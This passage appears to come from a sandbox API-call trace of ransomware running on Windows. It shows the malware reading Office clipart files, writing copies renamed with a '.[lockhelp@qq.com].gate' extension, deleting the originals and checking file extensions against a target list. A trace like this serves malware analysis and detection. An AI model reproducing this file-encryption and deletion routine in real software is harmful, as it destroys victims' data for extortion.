lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0288.810] SetEndOfFile (hFile=0x414) returned 1 [0288.810] CloseHandle (hObject=0x414) returned 1 [0288.811] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.811] SetEndOfFile (hFile=0x4c4) returned 1 [0288.813] CloseHandle (hObject=0x4c4) returned 1 [0288.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString=".doc") returned 4 [0288.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString=".docx") returned 5 [0288.815] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.815] lstrlenW (lpString=".pdf") returned 4 [0288.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString=".xls") returned 4 [0288.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.815] lstrlenW (lpString=".xlsx") returned 5 [0288.815] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.815] lstrlenW (lpString=".ppt") returned 4 [0288.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString=".zip") returned 4 [0288.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.815] lstrlenW (lpString=".rar") returned 4 [0288.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString=".bz2") returned 4 [0288.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString=".7z") returned 3 [0288.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString=".dbf") returned 4 [0288.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString=".1cd") returned 4 [0288.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.815] lstrlenW (lpString=".jpg") returned 4 [0288.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString=".doc") returned 4 [0288.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString=".docx") returned 5 [0288.816] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.816] lstrlenW (lpString=".pdf") returned 4 [0288.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString=".xls") returned 4 [0288.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.816] lstrlenW (lpString=".xlsx") returned 5 [0288.816] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.816] lstrlenW (lpString=".ppt") returned 4 [0288.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString=".zip") returned 4 [0288.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.816] lstrlenW (lpString=".rar") returned 4 [0288.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString=".bz2") returned 4 [0288.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString=".7z") returned 3 [0288.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString=".dbf") returned 4 [0288.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString=".1cd") returned 4 [0288.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0288.816] lstrlenW (lpString=".jpg") returned 4 [0288.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.817] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.817] lstrlenW (lpString="BOATINST.WMF") returned 12 [0288.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.817] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=29004) returned 1 [0288.817] CloseHandle (hObject=0x4c4) returned 1 [0288.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0288.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.818] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.818] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.818] GetLastError () returned 0x0 [0288.818] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x714c, lpOverlapped=0x0) returned 1 [0288.878] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7150, lpOverlapped=0x0) returned 1 [0288.880] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.880] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.880] SetEndOfFile (hFile=0x414) returned 1 [0288.880] CloseHandle (hObject=0x414) returned 1 [0288.881] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.881] SetEndOfFile (hFile=0x4c4) returned 1 [0288.886] CloseHandle (hObject=0x4c4) returned 1 [0288.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0288.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString=".doc") returned 4 [0288.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString=".docx") returned 5 [0288.887] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.887] lstrlenW (lpString=".pdf") returned 4 [0288.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString=".xls") returned 4 [0288.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.887] lstrlenW (lpString=".xlsx") returned 5 [0288.887] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.887] lstrlenW (lpString=".ppt") returned 4 [0288.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString=".zip") returned 4 [0288.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.887] lstrlenW (lpString=".rar") returned 4 [0288.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString=".bz2") returned 4 [0288.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString=".7z") returned 3 [0288.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString=".dbf") returned 4 [0288.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString=".1cd") returned 4 [0288.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString=".jpg") returned 4 [0288.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.888] lstrlenW (lpString=".doc") returned 4 [0288.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString=".docx") returned 5 [0288.888] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.888] lstrlenW (lpString=".pdf") returned 4 [0288.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString=".xls") returned 4 [0288.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.888] lstrlenW (lpString=".xlsx") returned 5 [0288.888] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0288.888] lstrlenW (lpString=".ppt") returned 4 [0288.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.888] lstrlenW (lpString=".zip") returned 4 [0288.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.888] lstrlenW (lpString=".rar") returned 4 [0288.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString=".bz2") returned 4 [0288.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString=".7z") returned 3 [0288.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.888] lstrlenW (lpString=".dbf") returned 4 [0288.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.888] lstrlenW (lpString=".1cd") returned 4 [0288.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.888] lstrlenW (lpString=".jpg") returned 4 [0288.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.889] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.889] lstrlenW (lpString="BS00076_.WMF") returned 12 [0288.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.889] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1330) returned 1 [0288.889] CloseHandle (hObject=0x4c4) returned 1 [0288.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0288.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.890] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.890] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.890] GetLastError () returned 0x0 [0288.890] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x532, lpOverlapped=0x0) returned 1 [0288.932] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x540, lpOverlapped=0x0) returned 1 [0288.933] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.933] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.934] SetEndOfFile (hFile=0x414) returned 1 [0288.934] CloseHandle (hObject=0x414) returned 1 [0289.008] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.008] SetEndOfFile (hFile=0x4c4) returned 1 [0289.010] CloseHandle (hObject=0x4c4) returned 1 [0289.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0289.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.011] lstrlenW (lpString=".doc") returned 4 [0289.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".docx") returned 5 [0289.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.011] lstrlenW (lpString=".pdf") returned 4 [0289.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".xls") returned 4 [0289.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.011] lstrlenW (lpString=".xlsx") returned 5 [0289.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.011] lstrlenW (lpString=".ppt") returned 4 [0289.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.011] lstrlenW (lpString=".zip") returned 4 [0289.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.011] lstrlenW (lpString=".rar") returned 4 [0289.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".bz2") returned 4 [0289.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".7z") returned 3 [0289.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString=".dbf") returned 4 [0289.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString=".1cd") returned 4 [0289.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString=".jpg") returned 4 [0289.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString=".doc") returned 4 [0289.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString=".docx") returned 5 [0289.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.012] lstrlenW (lpString=".pdf") returned 4 [0289.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString=".xls") returned 4 [0289.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.012] lstrlenW (lpString=".xlsx") returned 5 [0289.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.012] lstrlenW (lpString=".ppt") returned 4 [0289.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.012] lstrlenW (lpString=".zip") returned 4 [0289.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.012] lstrlenW (lpString=".rar") returned 4 [0289.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.013] lstrlenW (lpString=".bz2") returned 4 [0289.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.013] lstrlenW (lpString=".7z") returned 3 [0289.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.013] lstrlenW (lpString=".dbf") returned 4 [0289.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.013] lstrlenW (lpString=".1cd") returned 4 [0289.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0289.013] lstrlenW (lpString=".jpg") returned 4 [0289.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.013] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0289.013] lstrlenW (lpString="BS00078_.WMF") returned 12 [0289.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.296] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1444) returned 1 [0290.296] CloseHandle (hObject=0x418) returned 1 [0290.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0290.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.296] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.296] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0290.297] GetLastError () returned 0x0 [0290.297] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x5a4, lpOverlapped=0x0) returned 1 [0290.418] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0290.457] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0290.457] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0290.457] SetEndOfFile (hFile=0x4d0) returned 1 [0290.457] CloseHandle (hObject=0x4d0) returned 1 [0290.458] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.458] 